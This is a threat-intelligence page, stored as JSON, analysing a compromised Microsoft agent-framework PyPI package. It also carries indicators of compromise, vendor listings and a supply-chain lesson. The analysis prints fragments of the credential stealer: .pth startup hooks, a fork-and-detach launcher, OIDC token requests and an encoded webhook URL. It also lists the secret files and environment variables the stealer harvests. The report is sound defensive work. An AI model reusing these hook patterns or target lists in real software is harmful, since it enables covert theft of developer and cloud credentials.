[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpTAbKBDaFwh515Qxa3RFt-trQ60ROyYe5yG7fjYWqXg":3},{"article":4,"iocs":49,"iocs_total":72,"watch_terms":73,"solutions":74,"lesson":169},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"url":11,"image_url":12,"published_at":13,"ingested_at":14,"relevance_score":15,"entities":16,"category_id":26,"category":27,"article_tags":31},"639904cd-8cb2-4399-b8e9-ae361f82a22f","Microsoft’s agent-framework PyPI package Compromised with Credential Stealer","microsoft-s-agent-framework-pypi-package-compromised-with-credential-stealer-379e63","Executive Summary # The Microsoft agent-framework PyPI package was compromised on November 17th, affecting versions 1.26.1 and 1.26.2. Both versions install Python startup hooks that silently collect credentials, environment data, and cloud identity tokens, then exfiltrate them to a webhook[.]site endpoint. Avoid installing either version; if installed, remove them and rotate potentially exposed credentials. Attack Analysis # On Python startup, the .pth file imports a module that launches collection in a background process\u002Fthread. Version 1.26.1 routes through agent_framework_meta.pth → agent_framework_meta\u002F**init**.py → agent_framework_meta\u002F_telemetry.py; 1.26.2 uses af_runtime_diag.pth → af_runtime_diag.py. The code gathers credential-related environment variables, local config\u002Fcredential files, and other processes’ environments. It also requests cloud\u002Fworkflow identity tokens (including Azure in both versions and GitHub Actions OIDC in 1.26.2). It serializes the results, compresses and Base64-encodes them, then POSTs them to the same concealed webhook.site endpoint: https[:\u002F\u002F]webhook[.]site\u002Fd381fd80-ec62-42ad-8f5c-d1b15103c9bb Version 1.26.1: startup hook → package initializer → collector. agent_framework_meta.pth executes on interpreter startup through Python’s site processing: import agent_framework_meta agent_framework_meta\u002F__init__.py adds a supposedly diagnostic hook that imports and starts the payload, suppressing errors: # Lightweight runtime diagnostics hook try: from . import _telemetry as _telemetry _telemetry._start() except Exception: pass agent_framework_meta\u002F_telemetry.py collects credentials asynchronously. Its startup guard is inherited by child processes; on Unix, it forks and detaches. Platforms without fork use a daemon thread. def _start(): if os.environ.get(\"_AF_TEL\"): return os.environ[\"_AF_TEL\"] = \"1\" try: if hasattr(os, \"fork\"): pid = os.fork() if pid == 0: try: os.setsid() except Exception: pass _run() os._exit(0) return Fresh process trees can trigger collection again; there is no persistent on-disk execution marker. Version 1.26.2: relocated payload and expanded GitHub targeting. af_runtime_diag.pth replaces the original startup hook with a single line that imports the new top-level payload: import af_runtime_diag af_runtime_diag.py starts collection on import. The legitimate package initializer is restored byte-for-byte, so inspecting only agent_framework_meta\u002F__init__.py misses this version. The collector adds GitHub Actions OIDC token requests: u = os.environ.get(\"ACTIONS_ID_TOKEN_REQUEST_URL\") or \"\" t = os.environ.get(\"ACTIONS_ID_TOKEN_REQUEST_TOKEN\") or os.environ.get(\"ACTIONS_RUNTIME_TOKEN\") or \"\" if u and t: for aud in (\"api:\u002F\u002FAzureADTokenExchange\", \" \"): Both collectors harvest and exfiltrate secrets. They inspect environment variables, other processes’ environments, credential files, and cloud identity endpoints. They actively request fresh Azure managed-identity and CI federation tokens rather than merely copying existing secrets. Both payload modules contain the same encoded destination: _ENC = \"aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi\" Collected JSON is zlib-compressed, base64-encoded, and POSTed to the decoded webhook with ?t=telemetry. Encoding provides no confidentiality beyond HTTPS. The reported payloads do not download or execute additional code. Targeted Credentials # Environment secrets: substring-based matching, not a fixed variable allowlist. Reported selectors include TOKEN, SECRET, KEY, AZURE, AWS, GITHUB, OPENAI, HF_, FOUNDRY, TENANT, CLIENT, and MANAGED. Version 1.26.2 adds ACTIONS, OIDC, RUNNER, and ARM_. Other processes: \u002Fproc\u002F*\u002Fenviron, filtering for TOKEN, SECRET, PASSWORD, KEY=, SYSTEM_ACCESSTOKEN, and IDENTITY_HEADER; 1.26.2 also matches ACTIONS_ID_TOKEN. Azure and Azure DevOps: IDENTITY_ENDPOINT and identity headers; Azure IMDS managed-identity tokens. SYSTEM_ACCESSTOKEN and SYSTEM_OIDCREQUESTURI for Azure DevOps federation tokens. Azure JSON files: ~\u002F.azure\u002F*.json, ~\u002F.azure\u002F*\u002F*.json (both expanded with os.path.expanduser), \u002Fhome\u002F*\u002F.azure\u002F*.json, \u002Fhome\u002F*\u002F.azure\u002F*\u002F*.json, and \u002Froot\u002F.azure\u002F*.json. Azure DevOps agent credential patterns in both versions: \u002Fhome\u002F*\u002F_work\u002F*\u002F.credentials \u002Fhome\u002F*\u002F*\u002F_work\u002F*\u002F.credentials \u002Fusr\u002Flocal\u002Fvss-agent\u002F*\u002F.credentials \u002Fvss-agent\u002F*\u002F.credentials \u002Fhome\u002F*\u002F.credentials \u002Fmnt\u002Fazure_nvme_temp\u002F_work\u002F*\u002F.credentials \u002Fmnt\u002Fazure_nvme_temp\u002F_work\u002F*\u002F*\u002F.credentials 1.26.1 also targets \u002Fagent\u002F_work\u002F*\u002F.credentials. Token audiences include Azure management, AI\u002FML, Cognitive Services, Storage, Key Vault, Search, Microsoft Graph, Container Registry, Azure DevOps, and Azure AD token exchange. GitHub Actions—expanded in 1.26.2: ACTIONS_ID_TOKEN_REQUEST_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, and fallback ACTIONS_RUNTIME_TOKEN. OIDC tokens for api:\u002F\u002FAzureADTokenExchange and https:\u002F\u002Fmanagement.azure.com\u002F. Added file patterns: \u002Fhome\u002Frunner\u002Fwork\u002F_temp\u002F*, \u002Fhome\u002Frunner\u002F.azure\u002F*.json, and \u002Fhome\u002Frunner\u002F.azure\u002F*\u002F*.json. Other credential\u002Fconfiguration patterns—both versions: pip: \u002Fhome\u002F*\u002F.config\u002Fpip\u002Fpip.conf, \u002Fetc\u002Fpip.conf, \u002Fhome\u002F*\u002F.pip\u002Fpip.conf. npm: \u002Fhome\u002F*\u002F.npmrc, \u002Froot\u002F.npmrc. netrc: \u002Fhome\u002F*\u002F.netrc, \u002Froot\u002F.netrc. Git: \u002Fhome\u002F*\u002F.git-credentials, \u002Froot\u002F.git-credentials. Docker: \u002Fhome\u002F*\u002F.docker\u002Fconfig.json, \u002Froot\u002F.docker\u002Fconfig.json. Hugging Face: \u002Fhome\u002F*\u002F.cache\u002Fhuggingface\u002Ftoken, \u002Fhome\u002F*\u002F.huggingface\u002Ftoken. Foundry: \u002Fhome\u002F*\u002F.foundry\u002F*, \u002Fhome\u002F*\u002F.config\u002Ffoundry\u002F*. Configuration tokens: \u002Fhome\u002F*\u002F.config\u002F*\u002Ftoken*.json, \u002Froot\u002F.config\u002F*\u002Ftoken*.json. Application files: \u002Fapp\u002F.env, \u002Fapp\u002F*.env, \u002Fapp\u002F*.json, \u002Fworkspace\u002F.env, \u002Fworkspace\u002F*.json. # Files agent_framework-1.26.1-py3-none-any.whl SHA256: d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110 agent_framework-1.26.2-py3-none-any.whl SHA256: 3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9 agent_framework_meta\u002F__init**__**.py SHA256: c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02 _telemetry.py SHA256: 39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663 af_runtime_diag.py SHA256: 54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1f agent_framework_meta.pth SHA256: 21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e af_runtime_diag.pth SHA256: 325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93 User-Agents runtime-diagnostics\u002F1 af-runtime-diagnostics\u002F1 Network hxxps:\u002F\u002Fwebhook[.]site\u002Fd381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry","The Microsoft agent-framework PyPI package was compromised, affecting versions 1.26.1 and 1.26.2. These versions install Python startup hooks that collect credentials, environment data, and cloud identity tokens, exfiltrating them to a webhook.site endpoint. The malicious code inspects environment variables, credential files, and requests cloud\u002Fworkflow identity tokens, including Azure and GitHub Actions OIDC.","Microsoft agent-framework PyPI package compromised with credential stealer.","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fagent-framework-pypi-package-compromised-with-credential-stealer?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002Fb3d51ac973b4096a30d7b59bd0d2584ee04810b6-2736x1378.png?w=1000&q=95&fit=max&auto=format","2026-11-17T23:05:25.054+00:00","2026-11-18T00:00:14.008222+00:00",8,[17,20,23],{"name":18,"type":19},"agent-framework","product",{"name":21,"type":22},"Microsoft","vendor",{"name":24,"type":25},"PyPI","technology","80544778-fabb-4dcd-aa35-17492e5dcf4f",{"id":26,"icon":28,"name":29,"slug":30},null,"Vulnerabilities","vulnerabilities",[32,37,39,44],{"category":33},{"id":34,"icon":28,"name":35,"slug":36},"26b0b636-0e31-4db1-bffb-61bdf9f20a58","Supply Chain","supply-chain",{"category":38},{"id":26,"icon":28,"name":29,"slug":30},{"category":40},{"id":41,"icon":28,"name":42,"slug":43},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":45},{"id":46,"icon":28,"name":47,"slug":48},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[50,54,56,58,62,64,66,68,70],{"type":51,"value":52,"context":53},"hash_sha256","c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02","Listed under \"Indicators of Compromise\" in the article",{"type":51,"value":55,"context":53},"54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1f",{"type":51,"value":57,"context":53},"325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93",{"type":59,"value":60,"context":61},"url","https:\u002F\u002Fwebhook.site\u002Fd381fd80-ec62-42ad-8f5c-d1b15103c9bb","Written defanged in the article text",{"type":59,"value":63,"context":53},"https:\u002F\u002Fwebhook.site\u002Fd381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry",{"type":51,"value":65,"context":53},"3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9",{"type":51,"value":67,"context":53},"21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e",{"type":51,"value":69,"context":53},"d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110",{"type":51,"value":71,"context":53},"39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663",9,[21,18],{"controls":75,"vendors":160},[76,105,133],{"slug":77,"name":78,"problem":79,"products":80},"secrets-management","Secrets management","API keys, tokens and passwords stop leaking from code, chat and configuration files.",[81,89,97],{"vendor_slug":82,"vendor_name":83,"vendor_logo":84,"product_slug":85,"product_name":86,"url":87,"description":88},"hashicorp","HashiCorp","\u002Fvendor-logos\u002Fhashicorp.png","vault","HashiCorp Vault","https:\u002F\u002Fwww.hashicorp.com\u002Fen\u002Fproducts\u002Fvault","Secrets management with short-lived credentials and encryption as a service.",{"vendor_slug":90,"vendor_name":91,"vendor_logo":92,"product_slug":93,"product_name":94,"url":95,"description":96},"palo-alto-networks","Palo Alto Networks","\u002Fvendor-logos\u002Fpalo-alto-networks.png","idira-secrets-management","Idira Secrets Management","https:\u002F\u002Fwww.paloaltonetworks.com\u002Fidira\u002Fmachine\u002Fsecrets-management","Secrets management for applications, scripts and pipelines, from the former CyberArk portfolio.",{"vendor_slug":98,"vendor_name":99,"vendor_logo":100,"product_slug":101,"product_name":102,"url":103,"description":104},"gitguardian","GitGuardian","\u002Fvendor-logos\u002Fgitguardian.png","gitguardian-platform","GitGuardian Secrets Detection","https:\u002F\u002Fwww.gitguardian.com\u002F","Finds and helps remediate secrets leaked in repositories, CI pipelines and chat tools.",{"slug":48,"name":106,"problem":107,"products":108},"Threat intelligence","Attack campaigns reach your sector, suppliers or software before your team hears about them.",[109,117,125],{"vendor_slug":110,"vendor_name":111,"vendor_logo":112,"product_slug":113,"product_name":114,"url":115,"description":116},"defused","Defused","\u002Fvendor-logos\u002Fdefused.png","defused-tf","Defused TF","https:\u002F\u002Fdefusedcyber.com\u002Fproduct\u002Ftf","Threat intelligence feed from honeypots Defused runs on several continents, showing which vulnerabilities attackers are exploiting right now, with payloads and indicators.",{"vendor_slug":118,"vendor_name":119,"vendor_logo":120,"product_slug":121,"product_name":122,"url":123,"description":124},"google","Google","\u002Fvendor-logos\u002Fgoogle.png","google-threat-intelligence","Google Threat Intelligence","https:\u002F\u002Fcloud.google.com\u002Fsecurity\u002Fproducts\u002Fthreat-intelligence","Threat intelligence from Mandiant's frontline investigations, Google's threat analysts, open sources and Google's own visibility, in one service.",{"vendor_slug":126,"vendor_name":127,"vendor_logo":128,"product_slug":129,"product_name":130,"url":131,"description":132},"recorded-future","Recorded Future","\u002Fvendor-logos\u002Frecorded-future.png","recorded-future-cyber-operations","Recorded Future Cyber Operations","https:\u002F\u002Fwww.recordedfuture.com\u002Fproducts\u002Fcyber-operations","Threat intelligence built into security operations workflows, to prioritise alerts and act on threats before they arrive.",{"slug":134,"name":135,"problem":136,"products":137},"software-supply-chain","Software supply chain security","Malicious and vulnerable open-source packages are caught before they ship.",[138,146,152],{"vendor_slug":139,"vendor_name":140,"vendor_logo":141,"product_slug":142,"product_name":143,"url":144,"description":145},"sonatype","Sonatype","\u002Fvendor-logos\u002Fsonatype.png","sonatype-firewall","Sonatype Firewall","https:\u002F\u002Fwww.sonatype.com\u002Fproducts\u002Fsonatype-firewall","Blocks malicious and policy-violating open-source components at download.",{"vendor_slug":147,"vendor_name":148,"vendor_logo":149,"product_slug":147,"product_name":148,"url":150,"description":151},"socket","Socket","\u002Fvendor-logos\u002Fsocket.png","https:\u002F\u002Fsocket.dev\u002F","Detects and blocks malicious and risky packages in npm, PyPI and other ecosystems.",{"vendor_slug":153,"vendor_name":154,"vendor_logo":155,"product_slug":156,"product_name":157,"url":158,"description":159},"jfrog","JFrog","\u002Fvendor-logos\u002Fjfrog.png","jfrog-curation","JFrog Curation","https:\u002F\u002Fjfrog.com\u002Fcuration\u002F","Blocks malicious and risky open-source packages before they enter your repositories.",[161,166],{"slug":162,"name":21,"logo_path":163,"roles":164},"microsoft","\u002Fvendor-logos\u002Fmicrosoft.png",[165],"affected",{"slug":147,"name":148,"logo_path":149,"roles":167},[168],"reported_by",{"slug":170,"title":171,"body":172,"framework_refs":173,"framework_notes":179},"compromised-pypi-package-steals-cloud-credentials-via-python-startup-hooks","Compromised PyPI Package Steals Cloud Credentials via Python Startup Hooks","The Microsoft agent-framework PyPI package was tampered with in versions 1.26.1 and 1.26.2, introducing malicious Python startup hooks that silently harvested credentials, environment variables, and cloud identity tokens (including Azure and GitHub Actions OIDC) and exfiltrated them to an attacker-controlled webhook. This is a classic software supply chain attack: developers who installed these versions unknowingly granted attackers access to sensitive secrets baked into their environments. The impact is especially severe in CI\u002FCD pipelines and cloud workloads, where stolen OIDC tokens can be used to impersonate services and access cloud resources without passwords. Organizations that do not pin dependency versions or verify package integrity are particularly exposed, as updates can silently introduce malicious code. This incident underscores that trusting a package's name or publisher history is not sufficient—continuous integrity verification of third-party dependencies is essential.",[174,175,176,177,178],"CIS Control 2: Inventory and Control of Software Assets (v8)","NIST SP 800-53 SA-12: Supply Chain Protection","NIST CSF 2.0 DE.CM-01: Networks and network services are monitored to find potentially adverse events","NIS2 Article 21(2)(d)","MITRE ATT&CK T1195.001: Supply Chain Compromise: Compromise Software Dependencies and Development Tools",{"NIS2 Article 21(2)(d)":180,"NIST SP 800-53 SA-12: Supply Chain Protection":181,"CIS Control 2: Inventory and Control of Software Assets (v8)":182,"NIST CSF 2.0 DE.CM-01: Networks and network services are monitored to find potentially adverse events":183,"MITRE ATT&CK T1195.001: Supply Chain Compromise: Compromise Software Dependencies and Development Tools":184},"NIS2 Article 21(2)(d) requires security measures covering supply chain risks, including the security of relationships with direct suppliers such as open-source package repositories.","SA-12 specifically requires organizations to assess and protect against supply chain risks, including verifying the integrity of software obtained from third-party sources like PyPI.","CIS Control 2 requires maintaining an inventory of authorized software and preventing use of unauthorized or unvetted packages, which would have flagged the tampered PyPI versions before installation.","Continuous monitoring of outbound network traffic from build and runtime environments would have detected the credential exfiltration to the attacker-controlled webhook.site endpoint.","This technique describes exactly what occurred: adversaries inserted malicious code into a widely used package distributed via a public repository to compromise downstream consumers."]